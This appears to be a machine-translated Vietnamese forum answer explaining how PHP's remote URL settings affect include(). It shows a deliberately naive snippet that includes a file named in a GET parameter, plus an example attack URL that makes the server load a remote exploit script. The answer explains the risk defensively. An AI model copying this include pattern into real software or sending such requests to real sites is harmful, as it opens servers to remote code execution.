fopen()
sẽ chỉ mở URL từ xa nếu allow_fopen_url
được bật trong php.ini
.
Tuy nhiên, trong các phiên bản trước 5.2.0, điều này cực kỳ nguy hiểm vì chức năng include
cũng sẽ tải xuống và phân tích cú pháp mã PHP từ các trang web từ xa. Một coder ngây thơ có thể dễ dàng bị bắt ra với các mã như:
<?php
$page = $_GET['page'];
include($page);
?>
lúc này kẻ tấn công chỉ có yêu cầu http://example.com/script.php?page=http://example.net/my_exploit_script
để thực thi mã riêng của họ trên hệ thống và giới thiệu một khai thác. Rất tiếc, giá trị mặc định cho allow_fopen_url
là 'bật'.
May mắn thay, vì 5.2.0 có một cài đặt riêng biệt (trong đó nên mặc định là 'tắt') được gọi là allow_url_include
, ngăn không cho tải xuống mã từ xa include
.
Cá nhân, nếu bạn có tùy chọn sử dụng Curl, hãy sử dụng tùy chọn đó thay vì fopen
.
Tốt sâu sắc câu trả lời 1 – alex